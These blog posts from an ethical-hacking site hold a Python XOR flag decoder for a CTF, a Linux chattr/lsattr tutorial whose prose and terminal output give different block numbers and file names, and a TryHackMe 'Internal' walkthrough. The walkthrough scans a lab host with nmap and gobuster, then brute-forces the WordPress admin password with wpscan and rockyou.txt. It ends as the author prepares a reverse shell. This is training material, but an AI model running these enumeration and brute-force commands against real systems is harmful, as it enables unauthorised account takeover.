    Three things are done here:

    •     XOR operation is done with a value and it's index in the array.
    •     The result of this operation is converted to a character.
    •     This character is appended to a string. The resulting string is a flag for this challenge.



    I wrote a Python script to solve this challenge. The code can be found down below.

     

     

    #! /usr/bin/env python3
    
    # Values array
    a = [102, 109, 99, 100, 127, 100, 53, 62, 105, 57, 61, 106, 62, 62, 55, 110, 113, 114, 118, 39, 36, 118, 47, 35, 32, 125, 34, 46, 46, 124, 43, 124, 25, 71, 26, 71, 21, 88]
    
    # Array to store letters
    flag = []
    
    # Do XOR operation with a value and it's index
    for i in range(len(a)):
        flag.append(chr(a[i] ^ int(i)))
    
    # Join letters to a word
    print("".join(flag))
    

     

     

    Lets Run

     

     

    Tryhackme Embedded Marcos in Word Mr. Phisher Walkthrough

     

     

     
    ubuntu@thm-mr-phisher:~/mrphisher$ nano hackingtruth-oledump.py
    ubuntu@thm-mr-phisher:~/mrphisher$ nano hackingtruth-oledump.py
    ubuntu@thm-mr-phisher:~/mrphisher$ nano hackingtruth-oledump.py
    ubuntu@thm-mr-phisher:~/mrphisher$ python3 hackingtruth-oledump.py
    flag{a39a07a239aacd40c948d852a5c9f8d1}
    ubuntu@thm-mr-phisher:~/mrphisher$ #hackingtruth.org
    ubuntu@thm-mr-phisher:~/mrphisher$ #hackingtruth.in
    ubuntu@thm-mr-phisher:~/mrphisher$ 
    
    
    

     

     

    Done.

     

     


    Disclaimer

     

    All tutorials are for informational and educational purposes only and have been made using our own routers, servers, websites and other vulnerable free resources. we do not contain any illegal activity. We believe that ethical hacking, information security and cyber security should be familiar subjects to anyone using digital information and computers. Hacking Truth is against misuse of the information and we strongly suggest against it. Please regard the word hacking as ethical hacking or penetration testing every time this word is used. We do not promote, encourage, support or excite any illegal activity or hacking.


  • chattr Command with Permissions and Attributes on Linux


     

    chattr Command with Permissions and Attributes on Linux

     

     

    Apart from usual read, write, and execute file permissions, Linux documents (files) have another set of attribute that control other characteristics of the file.


    Permissions and Attributes


    In Linux, who can access a file and what they can do with it is controlled by a user-centric set of permissions. Whether you can read the contents of a file, write new data into the file, or execute a file if it is a script or a program, is all governed by that set of permissions. The permissions are applied to the file, but they define the restrictions and capabilities for different categories of user.

    There are permissions for the owner of the file, for the group of the file, and for others—that is, users who are not in the first two categories. You can use the ls command with the -l (long listing) option to see the permissions on a file or directory.

    We can see that file permissions are user-centeric because they have choices to remove permissions at the user level. By contrast, the attributes of a file system centric. Like persmissions, they're set on the file or directory. But once they're set, they're the same for all users.

    Attrbiutes are a separate collection of settings from permissions. Attributes control characteristics such as immutability and other file system-level behaviors. To see the attributes of a file or directory we use the lsattr command. To set the attributes we use the chattr command.


    Inode File system 


    Permissions and attributes are stored inside inodes. An inode is a file system structure that holds information about file system objects such as files and directories. A file’s location on the hard drive, its creation date, its permissions, and its attributes are all stored within its inode.

    Because different file systems have different underlying structures and capabilities, attributes can behave differently—or be completely ignored—by some file systems. In this article, we’re using ext4 which is the default file system for many Linux distributions.



    Looking at a File’s Attributes


    The chattr and lsattr commands will already be present on your computer so there’s no need to install anything.

    To check the attributes on the files in the current directory, use lsattr:

    lsattr



    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
    └─$ lsattr 
    --------------e------- ./f.txt
    --------------e------- ./a.txt
    --------------e------- ./e.txt
    --------------e------- ./g.txt
    --------------e------- ./b.txt
    --------------e------- ./atul.txt
    --------------e------- ./hackingtruth.txt
    --------------e------- ./c.txt
    --------------e------- ./d.txt
    --------------e------- ./atulkumar.txt
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
    └─$ 
     
     
     


     

     The dashed lines are placeholders for attributes that are not set. The only attribute that is set is the e (extents) attribute. This shows that the file system inodes are using—or will use if required—extents to point to all portions of the file on the hard drive.


    If the file is held in one contiguous sequence of hard drive blocks, its inode only has to record the first and last blocks used to store the file. If the file is fragmented, the inode has to record the number of the first and last block of each piece of the file. These pairs of hard drive block numbers are called extents.



    This is the list of the most commonly used attributes.


    a: Append only. A file with this attribute can only be appended to. It can still be written to, but only at the end of the file. It is not possible to overwrite any of the existing data within the file.


    c: Compressed. The file is automatically compressed on the hard drive and uncompressed when it is read. Data written to the files is compressed before it is written to the hard drive.


    A: No atime updates. The atime is a value in an inode that records the last time a file was accessed.


    C: No copy-on-write. If two processes request access to a file, they can be given pointers to the same file. They are only given their own unique copy of the file if they try to write to the file, making it unique to that process.


    d: No dump. The Linux dump command is used to write copies of entire file systems to backup media. This attribute makes dump ignore the file. It is excluded from the backup.


    D: Synchronous directory updates. When this attribute is turned on for a directory, all changes to that directory are written synchronously—that is, immediately—on the hard drive. Data operations can be buffered.


    e: Extent format. The e attribute indicates that the file system is using extents to map the location of the file on the hard drive. You cannot change this with chattr. It is a function of the operation of the file system.


    i: Immutable. An immutable file cannot be modified, including renaming and deleting. The root user is the only person who can set or unset this attribute.


    s: Secure deletion. When a file with this attribute set is deleted, the hard drive blocks that held the file data are overwritten with bytes containing zeroes. Note that this is not honored by the ext4 file system.


    S: Synchronous updates. Changes to a file with its S attribute set are written to the file synchronously.


    u: Deleting a file that has its u attribute set causes a copy of the file to be made. This can be beneficial to file recovery if the file was removed in error.




    Changing a File’s Attributes



    The chattr command lets us change the attributes of a file or directory. We can use the + (set) and - (unset) operators to apply or remove an attribute, similar to the chmod command and permissions.

    The chattr command also has an = (set only) operator. This sets the attributes of a file or directory to only the attributes that are specified in the command. That is, all attributes not listed on the command line are unset.



    Setting the Append Only Attribute



    If you want use a: append attributes then if you want to change the overwrite the file and add something, but it is not possible because A file with this attribute can only be appended to. It can still be written to, but only at the end of the file. It is not possible to overwrite any of the existing data within the file.






    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
    └─$ echo "Qm9iIC0gIVBAJCRXMHJEITEyMw== | base64 -d" > atul.txt
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
    └─$ cat atul.txt      
    Qm9iIC0gIVBAJCRXMHJEITEyMw== | base64 -d
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
    └─$ 
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
    └─$ sudo chattr +a atul.txt                                   
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
    └─$ lsattr
    --------------e------- ./f.txt
    --------------e------- ./a.txt
    --------------e------- ./e.txt
    --------------e------- ./g.txt
    --------------e------- ./b.txt
    -----a--------e------- ./atul.txt
    --------------e------- ./hackingtruth.txt
    --------------e------- ./c.txt
    --------------e------- ./d.txt
    --------------e------- ./atulkumar.txt
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
    └─$ echo "Qm" > atul.txt 
    zsh: operation not permitted: atul.txt
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
    └─$               
    
    
    
    
    

     

    We’ll redirect the output from ls into the file:

    ls -l > text-file.txt

    sudo ls -l > text-file.txt



    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
    └─$ lsattr atul.txt
    -----a--------e------- atul.txt
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
    └─$ ls -la > atul.txt 
    zsh: operation not permitted: atul.txt
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
    └─$ sudo ls -la > atul.txt                                                                                                                              1 ⨯
    zsh: operation not permitted: atul.txt
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
    └─$                                                                                                                                                     1 ⨯
    
    
    
    






    The operation is not permitted, even if we use the sudo command.

    If we use two angle brackets  “>>” to redirect output it is appended to the existing data in the file. That should be acceptable to our append-only text file.

    sudo ls -l >> text-file.txt


    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
    └─$ lsattr atul.txt     
    -----a--------e------- atul.txt
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
    └─$ cat  atul.txt 
    Qm9iIC0gIVBAJCRXMHJEITEyMw== | base64 -d
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
    └─$ sudo ls -l >> atul.txt 
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
    └─$ cat  atul.txt
    Qm9iIC0gIVBAJCRXMHJEITEyMw== | base64 -d
    total 8
    -rwxrwxrwx 1 root      1006  0 May  2 08:57 atulkumar.txt
    -rw-r--r-- 1 hackerboy root 41 May  3 12:59 atul.txt
    -rwxrwxrwx 1 hackerboy root  0 May  2 08:56 a.txt
    -rwxrwxrwx 1 hackerboy root  0 May  2 08:56 b.txt
    -rwxrwxrwx 1 hackerboy root 40 May  3 13:01 c.txt
    -rwxrwxrwx 1 hackerboy root  0 May  2 08:56 d.txt
    -rwxrwxrwx 1 hackerboy root  0 May  2 08:56 e.txt
    -rwxrwxrwx 1 hackerboy root  0 May  2 08:56 f.txt
    -rwxrwxrwx 1 hackerboy root  0 May  2 08:56 g.txt
    -rwxrwxrwx 1 root      1006  0 May  2 08:57 hackingtruth.txt
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
    └─$ 
    
    
    
    






    Although we can append data to the file, that is the only change we can make to it. We can’t delete it and neither can root.

    rm text-file.txt

    sudo rm text-file.txt





    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
    └─$ lsattr atul.txt       
    -----a--------e------- atul.txt
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
    └─$ rm atul.txt         
    rm: cannot remove 'atul.txt': Operation not permitted
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
    └─$ sudo rm atul.txt                                                                                                                                    1 ⨯
    rm: cannot remove 'atul.txt': Operation not permitted
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
    └─$                                                                                                                                                     1 ⨯
    
    
    
    






    Don’t Rely on Secure Deletion on ext4



    As we pointed out, some operating systems do not support all of the attributes. The secure delete attribute is not honored by the ext family of file systems, including ext4. Don’t rely on this for the secure deletion of files.

    It’s easy to see that this doesn’t work in ext4. We’ll set the s (secure deletion) attribute on a text file.



    sudo chattr +s atul.txt


    s: Secure deletion. When a file with this attribute set is deleted, the hard drive blocks that held the file data are overwritten with bytes containing zeroes. Note that this is not honored by the ext4 file system.


    What we’re going to do is find out the inode that holds the metadata about this file. The inode holds the first hard drive block occupied by the file. The file contains some lorem ipsum placeholder text.
    Advertisement

    We’ll read that block directly from the hard drive to verify we’re reading the correct hard drive location. We’ll delete the file and then read that same hard dive block once more. If the secure deletion attribute is being honored, we should read zeroed bytes.

    We can find the inode of the file by using the hdparm command with the --fibmap (file block map) option.

    sudo hdparm --fibmap third-file.txt




    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
    └─$ lsattr atul.txt          
    -----a--------e------- atul.txt
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
    └─$ chattr +s atul.txt
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
    └─$ lsattr atul.txt   
    s----a--------e------- atul.txt
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
    └─$ 
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
    └─$ sudo hdparm --fibmap  atul.txt
    
    atul.txt:
     filesystem blocksize 4096, begins at LBA 872241152; assuming 512 byte sectors.
     byte_offset  begin_LBA    end_LBA    sectors
               0  931425384  931425391          8
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
    └─$ 
    




    The first hard drive block is 18100656. We’ll use the dd command to read it.

    The options are:
     

    • if=/dev/sda: Read from the first hard drive on this computer. 
    • bs=512: Use a hard drive block size of 512 bytes.
    • skip=18100656: Skip all blocks before block 18100656. In other words, start reading at block 18100656.
    • count=1: Read one block of data.


     

    sudo dd if=/dev/sda bs=512 skip=18100656 count=1


    As expected we see the lorem ipsum placeholder text. We’re reading the correct block on the hard drive.


    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
    └─$ sudo dd if=/dev/sda bs=512 skip=931425384 count=1
    Qm9iIC0gIVBAJCRXMHJEITEyMw== | base64 -d
    total 8
    -rwxrwxrwx 1 root      1006  0 May  2 08:57 atulkumar.txt
    -rw-r--r-- 1 hackerboy root 41 May  3 12:59 atul.txt
    -rwxrwxrwx 1 hackerboy root  0 May  2 08:56 a.txt
    -rwxrwxrwx 1 hackerboy root  0 May  2 08:56 b.txt
    -rwxrwxrwx 1 hackerboy root 40 May  3 13:01 c.txt
    -rwxrwxrwx 1 hackerboy root  0 May  2 08:56 d.txt
    -rwxrwxrwx 1 hackerboy root  0 May  2 08:56 e.txt
    -rwxrwxrwx 1 hackerboy root  0 May  2 08:56 f.txt
    -rwxrwxrwx 1 hackerboy root  0 May  2 08:56 g.txt
    -r1+0 records in
    1+0 records out
    512 bytes copied, 0.0237929 s, 21.5 kB/s
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
    └─$ 
                      
    



    Now we’ll delete the file.

    rm third-file.txt



    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
    └─$ lsattr atul.txt
                                                                                                                                       1 ⨯
    s--------------------- atul.txt
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
    └─$ 
    
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
    └─$ rm atul.txt
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/hackingtruth.org]
    └─$                        
    
    
    
    
    

    Again, don’t depend on this for secure deletion on ext4.There are better methods available to delete files so that they can’t be recovered.




    Disclaimer

     

    All tutorials are for informational and educational purposes only and have been made using our own routers, servers, websites and other vulnerable free resources. we do not contain any illegal activity. We believe that ethical hacking, information security and cyber security should be familiar subjects to anyone using digital information and computers. Hacking Truth is against misuse of the information and we strongly suggest against it. Please regard the word hacking as ethical hacking or penetration testing every time this word is used. We do not promote, encourage, support or excite any illegal activity or hacking.


  • TryHackMe Penetration Testing Challenge

     

    TryHackMe Penetration Testing Challenge


     

    We have been engaged in a Black-box Penetration Test (IP address may be differ). Our goal is to read the user flag and root flag file on machine. On some of them, you will be required to exploit a Abuse of write permission in Samba service in order to read the flag. TryHackMe Penetration Testing Challenge

    Some Machines are exploitable instantly but some might require exploiting other ones first. Enumerate every compromised machine to identify valuable information, that will help you proceed further into the environment.

    If you are stuck on one of the machines, don't overthink and start pentesting another one.

    When you read the flag file, you can be sure that the machine was successfully compromised. But keep your eyes open - apart from the flag, other useful information may be present on the system.

    You have been assigned to a client that wants a penetration test conducted on an environment due to be released to production in three weeks. 



    Scope of Work


    The client requests that an engineer conducts an external, web app, and internal assessment of the provided virtual environment. The client has asked that minimal information be provided about the assessment, wanting the engagement conducted from the eyes of a malicious actor (black box penetration test).  The client has asked that you secure two flags (no location provided) as proof of exploitation:



        User.txt
        Root.txt



    Additionally, the client has provided the following scope allowances:

        Ensure that you modify your hosts file to reflect internal.thm
        Any tools or techniques are permitted in this engagement
        Locate and note all vulnerabilities found
        Submit the flags discovered to the dashboard
        Only the IP address assigned to your machine is in scope



    (Roleplay off)



    I encourage you to approach this challenge as an actual penetration test. Consider writing a report, to include an executive summary, vulnerability and exploitation assessment, and remediation suggestions, as this will benefit you in preparation for the eLearnsecurity eCPPT or career as a penetration tester in the field.


    Enumeration

    First thing you have to do is that which the machine you  want to attack, you have to append internal.thm and point it to target machines IP address inside hosts file on attacker machine because the reason 1 is.

    As you probably already know, if you make any type of request to any hostname, the domain name gets translated to an IP address. In TCP/IP, only the IP address is transferred and not the hostname. In services such as HTTP(S), you also transfer the hostname in the “Host” HTTP header. If you visit a website through the URL with IP address in it, the Host header will contain the IP address. If you visit the URL with the hostname in it, the Host header will contain that hostname. Then it depends on the web server how it will process the request based on that header. In TLS handshake, you can also send the hostname in the “server_name” extension. So if the underlying back-end services only respond to the hostname, the easiest solution to send it natively is to modify your hosts file. The software that you use (e.g. a web browser) will do the rest. Credits: u/AMDcze (reddit).


    Reason 2: One IP address can host multiple websites on same webserver through virtual hosting (vhost) technique. If by any chance the target server has any multiple websites then it would be hard to figure out which is which. By pointing DNS in hosts file you are actually saying your apps to target only the specific domain.

    Reason 3: What if there are any subdomains? How to enumerate them without domain itself? While enumerating you have to expect that there’s a possibility of subdomain, so that you need domain itself. You can enumerate subdomain through an IP address


    Like :-



    TryHackMe Penetration Testing Challenge





    we do thing like enumeration by nmap and we will check which which ports are open and closed and state, service, version too.

    nmap -sC -sV internal.thm

      
    
    
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/tryhackme-internal]
    └─$ sudo nmap -sC -sV internal.thm  
    Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-23 17:48 IST
    Nmap scan report for internal.thm (10.10.133.153)
    Host is up (0.22s latency).
    Not shown: 998 closed tcp ports (reset)
    PORT   STATE SERVICE VERSION
    22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
    | ssh-hostkey: 
    |   2048 6e:fa:ef:be:f6:5f:98:b9:59:7b:f7:8e:b9:c5:62:1e (RSA)
    |   256 ed:64:ed:33:e5:c9:30:58:ba:23:04:0d:14:eb:30:e9 (ECDSA)
    |_  256 b0:7f:7f:7b:52:62:62:2a:60:d4:3d:36:fa:89:ee:ff (ED25519)
    80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
    |_http-server-header: Apache/2.4.29 (Ubuntu)
    |_http-title: Apache2 Ubuntu Default Page: It works
    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
    
    Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
    Nmap done: 1 IP address (1 host up) scanned in 19.27 seconds
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/tryhackme-internal]
    └─$ 
    
     
      
    


    i visited internal.thm with port no 80, 22 etc but i didn't get any clue like any password, username, robots.txt etc.


    But now we will enumeration with gobuster and find out directory and we get a likely wordpress site...


    ┌──(hackerboy㉿KumarAtulJaiswal)-[~]
    └─$ gobuster -e .php,.html,.txt dir -u http://10.10.4.254/ -w /usr/share/dirb/wordlists/common.txt
    ===============================================================
    Gobuster v3.1.0
    by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
    ===============================================================
    [+] Url:                     http://10.10.4.254/
    [+] Method:                  GET
    [+] Threads:                 10
    [+] Wordlist:                /usr/share/dirb/wordlists/common.txt
    [+] Negative Status codes:   404
    [+] User Agent:              gobuster/3.1.0
    [+] Expanded:                true
    [+] Timeout:                 10s
    ===============================================================
    2022/03/21 07:39:49 Starting gobuster in directory enumeration mode
    ===============================================================
    http://10.10.4.254/.htaccess            (Status: 403) [Size: 276]
    http://10.10.4.254/.htpasswd            (Status: 403) [Size: 276]
    http://10.10.4.254/.hta                 (Status: 403) [Size: 276]
    http://10.10.4.254/blog                 (Status: 301) [Size: 309] [--> http://10.10.4.254/blog/]
    http://10.10.4.254/index.html           (Status: 200) [Size: 10918]                             
    http://10.10.4.254/javascript           (Status: 301) [Size: 315] [--> http://10.10.4.254/javascript/]
    http://10.10.4.254/phpmyadmin           (Status: 301) [Size: 315] [--> http://10.10.4.254/phpmyadmin/]
    http://10.10.4.254/server-status        (Status: 403) [Size: 276]                                     
    http://10.10.4.254/wordpress            (Status: 301) [Size: 314] [--> http://10.10.4.254/wordpress/] 
                                                                                                          
    ===============================================================
    2022/03/21 07:41:46 Finished
    ===============================================================
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~]
    └─$ #www.kumaratuljaiswal.in    #www.hackingtruth.in                                                   
    
    
    
    



    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/tryhackme-internal] └─$ gobuster -e .php,.html,.txt dir -u http://10.10.4.254/wordpress/ -w /usr/share/dirb/wordlists/common.txt 130 ⨯ =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://10.10.4.254/wordpress/ [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/dirb/wordlists/common.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.1.0 [+] Expanded: true [+] Timeout: 10s =============================================================== 2022/03/21 08:09:54 Starting gobuster in directory enumeration mode =============================================================== http://10.10.4.254/wordpress/.hta (Status: 403) [Size: 276] http://10.10.4.254/wordpress/.htaccess (Status: 403) [Size: 276] http://10.10.4.254/wordpress/.htpasswd (Status: 403) [Size: 276] http://10.10.4.254/wordpress/index.php (Status: 301) [Size: 0] [--> http://10.10.4.254/wordpress/] http://10.10.4.254/wordpress/wp-admin (Status: 301) [Size: 323] [--> http://10.10.4.254/wordpress/wp-admin/] http://10.10.4.254/wordpress/wp-content (Status: 301) [Size: 325] [--> http://10.10.4.254/wordpress/wp-content/] http://10.10.4.254/wordpress/wp-includes (Status: 301) [Size: 326] [--> http://10.10.4.254/wordpress/wp-includes/] http://10.10.4.254/wordpress/xmlrpc.php (Status: 405) [Size: 42] =============================================================== 2022/03/21 08:12:12 Finished =============================================================== ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/tryhackme-internal] └─$


    we will get a /blog directory and now we will visit..



    TryHackMe Penetration Testing Challenge




    As you can see from above on going process, it already found a directory that is /blog. If we visit http://internal.thm/blog then we see a blog with one single post named as “Hello World”.


    It’s obvious now that this is designed using WordPress application. We have a user called “admin”, who posted this blog.


    When we go to internal.thm/blog and you can see there are hello world printed wordpress website and if you do research when you have to go "view page source" and to do that press ctrl+f and type ver.

    so you can see that the version and theme is twentyseven and version is 5.4.2

    lets exploit because i think there are some exploitation code available for this version and the theme...


    internal.thm/blog/?author=1



    TryHackMe Penetration Testing Challenge


     

    Otherwise we get a login page also but we don't have any password..

     


    TryHackMe Penetration Testing Challenge


    Wordpress enumeration



    Browsing /blog confirms our assumption, this is a Wordpress blog. Let’s enumerate the users with wpscan:

    wpscan --url http://10.10.4.254/blog -e u


    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/tryhackme-internal]
    └─$ sudo wpscan --url http://10.10.4.254/blog -e u 
    _______________________________________________________________
             __          _______   _____
             \ \        / /  __ \ / ____|
              \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
               \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
                \  /\  /  | |     ____) | (__| (_| | | | |
                 \/  \/   |_|    |_____/ \___|\__,_|_| |_|
    
             WordPress Security Scanner by the WPScan Team
                             Version 3.8.20
           Sponsored by Automattic - https://automattic.com/
           @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
    _______________________________________________________________
    
    [i] It seems like you have not updated the database for some time.
    [?] Do you want to update now? [Y]es [N]o, default: [N]
    [+] URL: http://10.10.4.254/blog/ [10.10.4.254]
    [+] Started: Mon Mar 21 08:35:39 2022
    
    Interesting Finding(s):
    
    [+] Headers
     | Interesting Entry: Server: Apache/2.4.29 (Ubuntu)
     | Found By: Headers (Passive Detection)
     | Confidence: 100%
    
    [+] XML-RPC seems to be enabled: http://10.10.4.254/blog/xmlrpc.php
     | Found By: Direct Access (Aggressive Detection)
     | Confidence: 100%
     | References:
     |  - http://codex.wordpress.org/XML-RPC_Pingback_API
     |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
     |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
     |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
     |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
    
    [+] WordPress readme found: http://10.10.4.254/blog/readme.html
     | Found By: Direct Access (Aggressive Detection)
     | Confidence: 100%
    
    [+] The external WP-Cron seems to be enabled: http://10.10.4.254/blog/wp-cron.php
     | Found By: Direct Access (Aggressive Detection)
     | Confidence: 60%
     | References:
     |  - https://www.iplocation.net/defend-wordpress-from-ddos
     |  - https://github.com/wpscanteam/wpscan/issues/1299
    
    [+] WordPress version 5.4.2 identified (Insecure, released on 2020-06-10).
     | Found By: Emoji Settings (Passive Detection)
     |  - http://10.10.4.254/blog/, Match: 'wp-includes\/js\/wp-emoji-release.min.js?ver=5.4.2'
     | Confirmed By: Meta Generator (Passive Detection)
     |  - http://10.10.4.254/blog/, Match: 'WordPress 5.4.2'
    
    [i] The main theme could not be detected.
    
    [+] Enumerating Users (via Passive and Aggressive Methods)
     Brute Forcing Author IDs - Time: 00:00:02 <==============================================================================================================> (10 / 10) 100.00% Time: 00:00:02
    
    [i] User(s) Identified:
    
    [+] admin
     | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
     | Confirmed By: Login Error Messages (Aggressive Detection)
    
    [!] No WPScan API Token given, as a result vulnerability data has not been output.
    [!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
    
    [+] Finished: Mon Mar 21 08:36:13 2022
    [+] Requests Done: 49
    [+] Cached Requests: 4
    [+] Data Sent: 11.302 KB
    [+] Data Received: 240.52 KB
    [+] Memory used: 123.637 MB
    [+] Elapsed time: 00:00:33
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/tryhackme-internal]
    └─$ 
    
    
    
    
    
    
    

    According to WPScan, the only user is admin. Let’s try to brute force the password, using the bruteforce feature of WPScan:

    wpscan --url http://10.10.4.254/blog  --usernames admin --passwords /home/hackerboy/Desktop/tryhackme-internal/rockyou.txt


    
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~]
    └─$ sudo wpscan --url http://10.10.4.254/blog  --usernames admin --passwords /home/hackerboy/Desktop/tryhackme-internal/rockyou.txt
    [sudo] password for hackerboy: 
    _______________________________________________________________
             __          _______   _____
             \ \        / /  __ \ / ____|
              \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
               \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
                \  /\  /  | |     ____) | (__| (_| | | | |
                 \/  \/   |_|    |_____/ \___|\__,_|_| |_|
    
             WordPress Security Scanner by the WPScan Team
                             Version 3.8.20
           Sponsored by Automattic - https://automattic.com/
           @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
    _______________________________________________________________
    
    [i] It seems like you have not updated the database for some time.
    [?] Do you want to update now? [Y]es [N]o, default: [N]
    [+] URL: http://10.10.4.254/blog/ [10.10.4.254]
    [+] Started: Mon Mar 21 08:53:33 2022
    
    Interesting Finding(s):
    
    [+] Headers
     | Interesting Entry: Server: Apache/2.4.29 (Ubuntu)
     | Found By: Headers (Passive Detection)
     | Confidence: 100%
    
    [+] XML-RPC seems to be enabled: http://10.10.4.254/blog/xmlrpc.php
     | Found By: Direct Access (Aggressive Detection)
     | Confidence: 100%
     | References:
     |  - http://codex.wordpress.org/XML-RPC_Pingback_API
     |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
     |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
     |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
     |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
    
    [+] WordPress readme found: http://10.10.4.254/blog/readme.html
     | Found By: Direct Access (Aggressive Detection)
     | Confidence: 100%
    
    [+] The external WP-Cron seems to be enabled: http://10.10.4.254/blog/wp-cron.php
     | Found By: Direct Access (Aggressive Detection)
     | Confidence: 60%
     | References:
     |  - https://www.iplocation.net/defend-wordpress-from-ddos
     |  - https://github.com/wpscanteam/wpscan/issues/1299
    
    [+] WordPress version 5.4.2 identified (Insecure, released on 2020-06-10).
     | Found By: Emoji Settings (Passive Detection)
     |  - http://10.10.4.254/blog/, Match: 'wp-includes\/js\/wp-emoji-release.min.js?ver=5.4.2'
     | Confirmed By: Meta Generator (Passive Detection)
     |  - http://10.10.4.254/blog/, Match: 'WordPress 5.4.2'
    
    [i] The main theme could not be detected.
    
    [+] Enumerating All Plugins (via Passive Methods)
    
    [i] No plugins Found.
    
    [+] Enumerating Config Backups (via Passive and Aggressive Methods)
     Checking Config Backups - Time: 00:00:13 <=============================================================================================================> (137 / 137) 100.00% Time: 00:00:13
    
    [i] No Config Backups Found.
    
    [+] Performing password attack on Xmlrpc against 1 user/s
    [SUCCESS] - admin / my2boys                                                                                                                                                                 
    Trying admin / 111111 Time: 00:00:01 <=================================                                                                                    > (10 / 34) 29.41%  ETA: ??:??:??
    
    [!] Valid Combinations Found:
     | Username: admin, Password: my2boys
    
    [!] No WPScan API Token given, as a result vulnerability data has not been output.
    [!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
    
    [+] Finished: Mon Mar 21 08:54:10 2022
    [+] Requests Done: 177
    [+] Cached Requests: 4
    [+] Data Sent: 48.436 KB
    [+] Data Received: 201.522 KB
    [+] Memory used: 171.504 MB
    [+] Elapsed time: 00:00:36
                                                                                                                                                                                                
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~]
    └─$ 
    
    
    
    

    Username: admin, Password: my2boys



    TryHackMe Penetration Testing Challenge



    after login (http://internal.thm/blog/wp-admin/) is successful with admin:my2boys and we now have the ability to modify the templates PHP source code. This will be convenient to write a reverse shell.


